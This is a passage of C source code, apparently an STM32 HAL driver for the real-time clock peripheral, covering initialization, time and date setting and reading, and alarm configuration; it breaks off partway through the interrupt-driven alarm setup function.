/** @defgroup RTC RTC
* @brief RTC HAL module driver
* @{
*/
#ifdef HAL_RTC_MODULE_ENABLED
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/** @defgroup RTC_Exported_Functions RTC Exported Functions
* @{
*/
/** @defgroup RTC_Exported_Functions_Group1 Initialization and de-initialization functions
* @brief Initialization and Configuration functions
*
@verbatim
===============================================================================
##### Initialization and de-initialization functions #####
===============================================================================
[..] This section provides functions allowing to initialize and configure the
RTC Prescaler (Synchronous and Asynchronous), RTC Hour format, disable
RTC registers Write protection, enter and exit the RTC initialization mode,
RTC registers synchronization check and reference clock detection enable.
(#) The RTC Prescaler is programmed to generate the RTC 1Hz time base.
It is split into 2 programmable prescalers to minimize power consumption.
(++) A 7-bit asynchronous prescaler and a 13-bit synchronous prescaler.
(++) When both prescalers are used, it is recommended to configure the
asynchronous prescaler to a high value to minimize power consumption.
(#) All RTC registers are Write protected. Writing to the RTC registers
is enabled by writing a key into the Write Protection register, RTC_WPR.
(#) To configure the RTC Calendar, user application should enter
initialization mode. In this mode, the calendar counter is stopped
and its value can be updated. When the initialization sequence is
complete, the calendar restarts counting after 4 RTCCLK cycles.
(#) To read the calendar through the shadow registers after Calendar
initialization, calendar update or after wake-up from low power modes
the software must first clear the RSF flag. The software must then
wait until it is set again before reading the calendar, which means
that the calendar registers have been correctly copied into the
RTC_TR and RTC_DR shadow registers.The HAL_RTC_WaitForSynchro() function
implements the above software sequence (RSF clear and RSF check).
@endverbatim
* @{
*/
/**
* @brief Initializes the RTC peripheral
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_Init(RTC_HandleTypeDef *hrtc)
{
/* Check the RTC peripheral state */
if(hrtc == NULL)
{
return HAL_ERROR;
}
/* Check the parameters */
assert_param(IS_RTC_HOUR_FORMAT(hrtc->Init.HourFormat));
assert_param(IS_RTC_ASYNCH_PREDIV(hrtc->Init.AsynchPrediv));
assert_param(IS_RTC_SYNCH_PREDIV(hrtc->Init.SynchPrediv));
assert_param (IS_RTC_OUTPUT(hrtc->Init.OutPut));
assert_param (IS_RTC_OUTPUT_POL(hrtc->Init.OutPutPolarity));
assert_param(IS_RTC_OUTPUT_TYPE(hrtc->Init.OutPutType));
if(hrtc->State == HAL_RTC_STATE_RESET)
{
/* Initialize RTC MSP */
HAL_RTC_MspInit(hrtc);
}
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_BUSY;
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Set Initialization mode */
if(RTC_EnterInitMode(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_ERROR;
return HAL_ERROR;
}
else
{
/* Clear RTC_CR FMT, OSEL and POL Bits */
hrtc->Instance->CR &= ((uint32_t)~(RTC_CR_FMT | RTC_CR_OSEL | RTC_CR_POL));
/* Set RTC_CR register */
hrtc->Instance->CR |= (uint32_t)(hrtc->Init.HourFormat | hrtc->Init.OutPut | hrtc->Init.OutPutPolarity);
/* Configure the RTC PRER */
hrtc->Instance->PRER = (uint32_t)(hrtc->Init.SynchPrediv);
hrtc->Instance->PRER |= (uint32_t)(hrtc->Init.AsynchPrediv << 16);
/* Exit Initialization mode */
hrtc->Instance->ISR &= (uint32_t)~RTC_ISR_INIT;
hrtc->Instance->TAFCR &= (uint32_t)~RTC_TAFCR_ALARMOUTTYPE;
hrtc->Instance->TAFCR |= (uint32_t)(hrtc->Init.OutPutType);
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_READY;
return HAL_OK;
}
}
/**
* @brief DeInitializes the RTC peripheral
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @note This function doesn't reset the RTC Backup Data registers.
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_DeInit(RTC_HandleTypeDef *hrtc)
{
uint32_t tickstart = 0;
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_BUSY;
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Set Initialization mode */
if(RTC_EnterInitMode(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_ERROR;
return HAL_ERROR;
}
else
{
/* Reset TR, DR and CR registers */
hrtc->Instance->TR = (uint32_t)0x00000000;
hrtc->Instance->DR = (uint32_t)0x00002101;
/* Reset All CR bits except CR[2:0] */
hrtc->Instance->CR &= (uint32_t)0x00000007;
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till WUTWF flag is set and if Time out is reached exit */
while(((hrtc->Instance->ISR) & RTC_ISR_WUTWF) == (uint32_t)RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_TIMEOUT;
return HAL_TIMEOUT;
}
}
/* Reset all RTC CR register bits */
hrtc->Instance->CR &= (uint32_t)0x00000000;
hrtc->Instance->WUTR = (uint32_t)0x0000FFFF;
hrtc->Instance->PRER = (uint32_t)0x007F00FF;
hrtc->Instance->CALIBR = (uint32_t)0x00000000;
hrtc->Instance->ALRMAR = (uint32_t)0x00000000;
hrtc->Instance->ALRMBR = (uint32_t)0x00000000;
hrtc->Instance->SHIFTR = (uint32_t)0x00000000;
hrtc->Instance->CALR = (uint32_t)0x00000000;
hrtc->Instance->ALRMASSR = (uint32_t)0x00000000;
hrtc->Instance->ALRMBSSR = (uint32_t)0x00000000;
/* Reset ISR register and exit initialization mode */
hrtc->Instance->ISR = (uint32_t)0x00000000;
/* Reset Tamper and alternate functions configuration register */
hrtc->Instance->TAFCR = 0x00000000;
/* If RTC_CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */
if((hrtc->Instance->CR & RTC_CR_BYPSHAD) == RESET)
{
if(HAL_RTC_WaitForSynchro(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_ERROR;
return HAL_ERROR;
}
}
}
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* De-Initialize RTC MSP */
HAL_RTC_MspDeInit(hrtc);
hrtc->State = HAL_RTC_STATE_RESET;
/* Release Lock */
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
/**
* @brief Initializes the RTC MSP.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval None
*/
__weak void HAL_RTC_MspInit(RTC_HandleTypeDef* hrtc)
{
/* NOTE : This function Should not be modified, when the callback is needed,
the HAL_RTC_MspInit could be implemented in the user file
*/
}
/**
* @brief DeInitializes the RTC MSP.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @retval None
*/
__weak void HAL_RTC_MspDeInit(RTC_HandleTypeDef* hrtc)
{
/* NOTE : This function Should not be modified, when the callback is needed,
the HAL_RTC_MspDeInit could be implemented in the user file
*/
}
/**
* @}
*/
/** @defgroup RTC_Exported_Functions_Group2 RTC Time and Date functions
* @brief RTC Time and Date functions
*
@verbatim
===============================================================================
##### RTC Time and Date functions #####
===============================================================================
[..] This section provides functions allowing to configure Time and Date features
@endverbatim
* @{
*/
/**
* @brief Sets RTC current time.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sTime: Pointer to Time structure
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_SetTime(RTC_HandleTypeDef *hrtc, RTC_TimeTypeDef *sTime, uint32_t Format)
{
uint32_t tmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
assert_param(IS_RTC_DAYLIGHT_SAVING(sTime->DayLightSaving));
assert_param(IS_RTC_STORE_OPERATION(sTime->StoreOperation));
/* Process Locked */
__HAL_LOCK(hrtc);
hrtc->State = HAL_RTC_STATE_BUSY;
if(Format == RTC_FORMAT_BIN)
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
assert_param(IS_RTC_HOUR12(sTime->Hours));
assert_param(IS_RTC_HOURFORMAT12(sTime->TimeFormat));
}
else
{
sTime->TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(sTime->Hours));
}
assert_param(IS_RTC_MINUTES(sTime->Minutes));
assert_param(IS_RTC_SECONDS(sTime->Seconds));
tmpreg = (uint32_t)(((uint32_t)RTC_ByteToBcd2(sTime->Hours) << 16) | \
((uint32_t)RTC_ByteToBcd2(sTime->Minutes) << 8) | \
((uint32_t)RTC_ByteToBcd2(sTime->Seconds)) | \
(((uint32_t)sTime->TimeFormat) << 16));
}
else
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
tmpreg = RTC_Bcd2ToByte(sTime->Hours);
assert_param(IS_RTC_HOUR12(tmpreg));
assert_param(IS_RTC_HOURFORMAT12(sTime->TimeFormat));
}
else
{
sTime->TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(RTC_Bcd2ToByte(sTime->Hours)));
}
assert_param(IS_RTC_MINUTES(RTC_Bcd2ToByte(sTime->Minutes)));
assert_param(IS_RTC_SECONDS(RTC_Bcd2ToByte(sTime->Seconds)));
tmpreg = (((uint32_t)(sTime->Hours) << 16) | \
((uint32_t)(sTime->Minutes) << 8) | \
((uint32_t)sTime->Seconds) | \
((uint32_t)(sTime->TimeFormat) << 16));
}
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Set Initialization mode */
if(RTC_EnterInitMode(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state */
hrtc->State = HAL_RTC_STATE_ERROR;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_ERROR;
}
else
{
/* Set the RTC_TR register */
hrtc->Instance->TR = (uint32_t)(tmpreg & RTC_TR_RESERVED_MASK);
/* Clear the bits to be configured */
hrtc->Instance->CR &= (uint32_t)~RTC_CR_BCK;
/* Configure the RTC_CR register */
hrtc->Instance->CR |= (uint32_t)(sTime->DayLightSaving | sTime->StoreOperation);
/* Exit Initialization mode */
hrtc->Instance->ISR &= (uint32_t)~RTC_ISR_INIT;
/* If CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */
if((hrtc->Instance->CR & RTC_CR_BYPSHAD) == RESET)
{
if(HAL_RTC_WaitForSynchro(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_ERROR;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_ERROR;
}
}
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_READY;
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
}
/**
* @brief Gets RTC current time.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sTime: Pointer to Time structure
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @note You must call HAL_RTC_GetDate() after HAL_RTC_GetTime() to unlock the values
* in the higher-order calendar shadow registers to ensure consistency between the time and date values.
* Reading RTC current time locks the values in calendar shadow registers until Current date is read.
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_GetTime(RTC_HandleTypeDef *hrtc, RTC_TimeTypeDef *sTime, uint32_t Format)
{
uint32_t tmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
/* Get subseconds values from the correspondent registers*/
sTime->SubSeconds = (uint32_t)(hrtc->Instance->SSR);
/* Get the TR register */
tmpreg = (uint32_t)(hrtc->Instance->TR & RTC_TR_RESERVED_MASK);
/* Fill the structure fields with the read parameters */
sTime->Hours = (uint8_t)((tmpreg & (RTC_TR_HT | RTC_TR_HU)) >> 16);
sTime->Minutes = (uint8_t)((tmpreg & (RTC_TR_MNT | RTC_TR_MNU)) >>8);
sTime->Seconds = (uint8_t)(tmpreg & (RTC_TR_ST | RTC_TR_SU));
sTime->TimeFormat = (uint8_t)((tmpreg & (RTC_TR_PM)) >> 16);
/* Check the input parameters format */
if(Format == RTC_FORMAT_BIN)
{
/* Convert the time structure parameters to Binary format */
sTime->Hours = (uint8_t)RTC_Bcd2ToByte(sTime->Hours);
sTime->Minutes = (uint8_t)RTC_Bcd2ToByte(sTime->Minutes);
sTime->Seconds = (uint8_t)RTC_Bcd2ToByte(sTime->Seconds);
}
return HAL_OK;
}
/**
* @brief Sets RTC current date.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sDate: Pointer to date structure
* @param Format: specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_SetDate(RTC_HandleTypeDef *hrtc, RTC_DateTypeDef *sDate, uint32_t Format)
{
uint32_t datetmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
/* Process Locked */
__HAL_LOCK(hrtc);
hrtc->State = HAL_RTC_STATE_BUSY;
if((Format == RTC_FORMAT_BIN) && ((sDate->Month & 0x10) == 0x10))
{
sDate->Month = (uint8_t)((sDate->Month & (uint8_t)~(0x10)) + (uint8_t)0x0A);
}
assert_param(IS_RTC_WEEKDAY(sDate->WeekDay));
if(Format == RTC_FORMAT_BIN)
{
assert_param(IS_RTC_YEAR(sDate->Year));
assert_param(IS_RTC_MONTH(sDate->Month));
assert_param(IS_RTC_DATE(sDate->Date));
datetmpreg = (((uint32_t)RTC_ByteToBcd2(sDate->Year) << 16) | \
((uint32_t)RTC_ByteToBcd2(sDate->Month) << 8) | \
((uint32_t)RTC_ByteToBcd2(sDate->Date)) | \
((uint32_t)sDate->WeekDay << 13));
}
else
{
assert_param(IS_RTC_YEAR(RTC_Bcd2ToByte(sDate->Year)));
datetmpreg = RTC_Bcd2ToByte(sDate->Month);
assert_param(IS_RTC_MONTH(datetmpreg));
datetmpreg = RTC_Bcd2ToByte(sDate->Date);
assert_param(IS_RTC_DATE(datetmpreg));
datetmpreg = ((((uint32_t)sDate->Year) << 16) | \
(((uint32_t)sDate->Month) << 8) | \
((uint32_t)sDate->Date) | \
(((uint32_t)sDate->WeekDay) << 13));
}
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Set Initialization mode */
if(RTC_EnterInitMode(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Set RTC state*/
hrtc->State = HAL_RTC_STATE_ERROR;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_ERROR;
}
else
{
/* Set the RTC_DR register */
hrtc->Instance->DR = (uint32_t)(datetmpreg & RTC_DR_RESERVED_MASK);
/* Exit Initialization mode */
hrtc->Instance->ISR &= (uint32_t)~RTC_ISR_INIT;
/* If CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */
if((hrtc->Instance->CR & RTC_CR_BYPSHAD) == RESET)
{
if(HAL_RTC_WaitForSynchro(hrtc) != HAL_OK)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_ERROR;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_ERROR;
}
}
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_READY ;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
}
/**
* @brief Gets RTC current date.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sDate: Pointer to Date structure
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @note You must call HAL_RTC_GetDate() after HAL_RTC_GetTime() to unlock the values
* in the higher-order calendar shadow registers to ensure consistency between the time and date values.
* Reading RTC current time locks the values in calendar shadow registers until Current date is read.
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_GetDate(RTC_HandleTypeDef *hrtc, RTC_DateTypeDef *sDate, uint32_t Format)
{
uint32_t datetmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
/* Get the DR register */
datetmpreg = (uint32_t)(hrtc->Instance->DR & RTC_DR_RESERVED_MASK);
/* Fill the structure fields with the read parameters */
sDate->Year = (uint8_t)((datetmpreg & (RTC_DR_YT | RTC_DR_YU)) >> 16);
sDate->Month = (uint8_t)((datetmpreg & (RTC_DR_MT | RTC_DR_MU)) >> 8);
sDate->Date = (uint8_t)(datetmpreg & (RTC_DR_DT | RTC_DR_DU));
sDate->WeekDay = (uint8_t)((datetmpreg & (RTC_DR_WDU)) >> 13);
/* Check the input parameters format */
if(Format == RTC_FORMAT_BIN)
{
/* Convert the date structure parameters to Binary format */
sDate->Year = (uint8_t)RTC_Bcd2ToByte(sDate->Year);
sDate->Month = (uint8_t)RTC_Bcd2ToByte(sDate->Month);
sDate->Date = (uint8_t)RTC_Bcd2ToByte(sDate->Date);
}
return HAL_OK;
}
/**
* @}
*/
/** @defgroup RTC_Exported_Functions_Group3 RTC Alarm functions
* @brief RTC Alarm functions
*
@verbatim
===============================================================================
##### RTC Alarm functions #####
===============================================================================
[..] This section provides functions allowing to configure Alarm feature
@endverbatim
* @{
*/
/**
* @brief Sets the specified RTC Alarm.
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sAlarm: Pointer to Alarm structure
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_SetAlarm(RTC_HandleTypeDef *hrtc, RTC_AlarmTypeDef *sAlarm, uint32_t Format)
{
uint32_t tickstart = 0;
uint32_t tmpreg = 0, subsecondtmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
assert_param(IS_RTC_ALARM(sAlarm->Alarm));
assert_param(IS_RTC_ALARM_MASK(sAlarm->AlarmMask));
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_SEL(sAlarm->AlarmDateWeekDaySel));
assert_param(IS_RTC_ALARM_SUB_SECOND_VALUE(sAlarm->AlarmTime.SubSeconds));
assert_param(IS_RTC_ALARM_SUB_SECOND_MASK(sAlarm->AlarmSubSecondMask));
/* Process Locked */
__HAL_LOCK(hrtc);
hrtc->State = HAL_RTC_STATE_BUSY;
if(Format == RTC_FORMAT_BIN)
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
assert_param(IS_RTC_HOUR12(sAlarm->AlarmTime.Hours));
assert_param(IS_RTC_HOURFORMAT12(sAlarm->AlarmTime.TimeFormat));
}
else
{
sAlarm->AlarmTime.TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(sAlarm->AlarmTime.Hours));
}
assert_param(IS_RTC_MINUTES(sAlarm->AlarmTime.Minutes));
assert_param(IS_RTC_SECONDS(sAlarm->AlarmTime.Seconds));
if(sAlarm->AlarmDateWeekDaySel == RTC_ALARMDATEWEEKDAYSEL_DATE)
{
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_DATE(sAlarm->AlarmDateWeekDay));
}
else
{
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_WEEKDAY(sAlarm->AlarmDateWeekDay));
}
tmpreg = (((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Hours) << 16) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Minutes) << 8) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Seconds)) | \
((uint32_t)(sAlarm->AlarmTime.TimeFormat) << 16) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmDateWeekDay) << 24) | \
((uint32_t)sAlarm->AlarmDateWeekDaySel) | \
((uint32_t)sAlarm->AlarmMask));
}
else
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmTime.Hours);
assert_param(IS_RTC_HOUR12(tmpreg));
assert_param(IS_RTC_HOURFORMAT12(sAlarm->AlarmTime.TimeFormat));
}
else
{
sAlarm->AlarmTime.TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(RTC_Bcd2ToByte(sAlarm->AlarmTime.Hours)));
}
assert_param(IS_RTC_MINUTES(RTC_Bcd2ToByte(sAlarm->AlarmTime.Minutes)));
assert_param(IS_RTC_SECONDS(RTC_Bcd2ToByte(sAlarm->AlarmTime.Seconds)));
if(sAlarm->AlarmDateWeekDaySel == RTC_ALARMDATEWEEKDAYSEL_DATE)
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmDateWeekDay);
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_DATE(tmpreg));
}
else
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmDateWeekDay);
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_WEEKDAY(tmpreg));
}
tmpreg = (((uint32_t)(sAlarm->AlarmTime.Hours) << 16) | \
((uint32_t)(sAlarm->AlarmTime.Minutes) << 8) | \
((uint32_t) sAlarm->AlarmTime.Seconds) | \
((uint32_t)(sAlarm->AlarmTime.TimeFormat) << 16) | \
((uint32_t)(sAlarm->AlarmDateWeekDay) << 24) | \
((uint32_t)sAlarm->AlarmDateWeekDaySel) | \
((uint32_t)sAlarm->AlarmMask));
}
/* Configure the Alarm A or Alarm B Sub Second registers */
subsecondtmpreg = (uint32_t)((uint32_t)(sAlarm->AlarmTime.SubSeconds) | (uint32_t)(sAlarm->AlarmSubSecondMask));
/* Disable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_DISABLE(hrtc);
/* Configure the Alarm register */
if(sAlarm->Alarm == RTC_ALARM_A)
{
/* Disable the Alarm A interrupt */
__HAL_RTC_ALARMA_DISABLE(hrtc);
/* In case of interrupt mode is used, the interrupt source must disabled */
__HAL_RTC_ALARM_DISABLE_IT(hrtc, RTC_IT_ALRA);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRAWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRAWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
hrtc->Instance->ALRMAR = (uint32_t)tmpreg;
/* Configure the Alarm A Sub Second register */
hrtc->Instance->ALRMASSR = subsecondtmpreg;
/* Configure the Alarm state: Enable Alarm */
__HAL_RTC_ALARMA_ENABLE(hrtc);
}
else
{
/* Disable the Alarm B interrupt */
__HAL_RTC_ALARMB_DISABLE(hrtc);
/* In case of interrupt mode is used, the interrupt source must disabled */
__HAL_RTC_ALARM_DISABLE_IT(hrtc, RTC_IT_ALRB);
/* Get tick */
tickstart = HAL_GetTick();
/* Wait till RTC ALRBWF flag is set and if Time out is reached exit */
while(__HAL_RTC_ALARM_GET_FLAG(hrtc, RTC_FLAG_ALRBWF) == RESET)
{
if((HAL_GetTick() - tickstart ) > RTC_TIMEOUT_VALUE)
{
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
hrtc->State = HAL_RTC_STATE_TIMEOUT;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_TIMEOUT;
}
}
hrtc->Instance->ALRMBR = (uint32_t)tmpreg;
/* Configure the Alarm B Sub Second register */
hrtc->Instance->ALRMBSSR = subsecondtmpreg;
/* Configure the Alarm state: Enable Alarm */
__HAL_RTC_ALARMB_ENABLE(hrtc);
}
/* Enable the write protection for RTC registers */
__HAL_RTC_WRITEPROTECTION_ENABLE(hrtc);
/* Change RTC state */
hrtc->State = HAL_RTC_STATE_READY;
/* Process Unlocked */
__HAL_UNLOCK(hrtc);
return HAL_OK;
}
/**
* @brief Sets the specified RTC Alarm with Interrupt
* @param hrtc: pointer to a RTC_HandleTypeDef structure that contains
* the configuration information for RTC.
* @param sAlarm: Pointer to Alarm structure
* @param Format: Specifies the format of the entered parameters.
* This parameter can be one of the following values:
* @arg RTC_FORMAT_BIN: Binary data format
* @arg RTC_FORMAT_BCD: BCD data format
* @retval HAL status
*/
HAL_StatusTypeDef HAL_RTC_SetAlarm_IT(RTC_HandleTypeDef *hrtc, RTC_AlarmTypeDef *sAlarm, uint32_t Format)
{
uint32_t tickstart = 0;
uint32_t tmpreg = 0, subsecondtmpreg = 0;
/* Check the parameters */
assert_param(IS_RTC_FORMAT(Format));
assert_param(IS_RTC_ALARM(sAlarm->Alarm));
assert_param(IS_RTC_ALARM_MASK(sAlarm->AlarmMask));
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_SEL(sAlarm->AlarmDateWeekDaySel));
assert_param(IS_RTC_ALARM_SUB_SECOND_VALUE(sAlarm->AlarmTime.SubSeconds));
assert_param(IS_RTC_ALARM_SUB_SECOND_MASK(sAlarm->AlarmSubSecondMask));
/* Process Locked */
__HAL_LOCK(hrtc);
hrtc->State = HAL_RTC_STATE_BUSY;
if(Format == RTC_FORMAT_BIN)
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
assert_param(IS_RTC_HOUR12(sAlarm->AlarmTime.Hours));
assert_param(IS_RTC_HOURFORMAT12(sAlarm->AlarmTime.TimeFormat));
}
else
{
sAlarm->AlarmTime.TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(sAlarm->AlarmTime.Hours));
}
assert_param(IS_RTC_MINUTES(sAlarm->AlarmTime.Minutes));
assert_param(IS_RTC_SECONDS(sAlarm->AlarmTime.Seconds));
if(sAlarm->AlarmDateWeekDaySel == RTC_ALARMDATEWEEKDAYSEL_DATE)
{
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_DATE(sAlarm->AlarmDateWeekDay));
}
else
{
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_WEEKDAY(sAlarm->AlarmDateWeekDay));
}
tmpreg = (((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Hours) << 16) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Minutes) << 8) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmTime.Seconds)) | \
((uint32_t)(sAlarm->AlarmTime.TimeFormat) << 16) | \
((uint32_t)RTC_ByteToBcd2(sAlarm->AlarmDateWeekDay) << 24) | \
((uint32_t)sAlarm->AlarmDateWeekDaySel) | \
((uint32_t)sAlarm->AlarmMask));
}
else
{
if((hrtc->Instance->CR & RTC_CR_FMT) != (uint32_t)RESET)
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmTime.Hours);
assert_param(IS_RTC_HOUR12(tmpreg));
assert_param(IS_RTC_HOURFORMAT12(sAlarm->AlarmTime.TimeFormat));
}
else
{
sAlarm->AlarmTime.TimeFormat = 0x00;
assert_param(IS_RTC_HOUR24(RTC_Bcd2ToByte(sAlarm->AlarmTime.Hours)));
}
assert_param(IS_RTC_MINUTES(RTC_Bcd2ToByte(sAlarm->AlarmTime.Minutes)));
assert_param(IS_RTC_SECONDS(RTC_Bcd2ToByte(sAlarm->AlarmTime.Seconds)));
if(sAlarm->AlarmDateWeekDaySel == RTC_ALARMDATEWEEKDAYSEL_DATE)
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmDateWeekDay);
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_DATE(tmpreg));
}
else
{
tmpreg = RTC_Bcd2ToByte(sAlarm->AlarmDateWeekDay);
assert_param(IS_RTC_ALARM_DATE_WEEKDAY_WEEKDAY(tmpreg));
}
tmpreg = (((uint32_t)(sAlarm->AlarmTime.Hours) << 16) | \
((uint32_t)(sAlarm->AlarmTime.Minutes) << 8) | \
((uint32_t) sAlarm->AlarmTime.Seconds) | \
((uint32_t)(sAlarm->AlarmTime.TimeFormat) << 16) | \
((uint32_t)(sAlarm->AlarmDateWeekDay) << 24) | \
((uint32_t)sAlarm->AlarmDateWeekDaySel) | \
((uint32_t)sAlarm->AlarmMask));
}
/* Configure the Alarm A or Alarm B Sub Second registers */
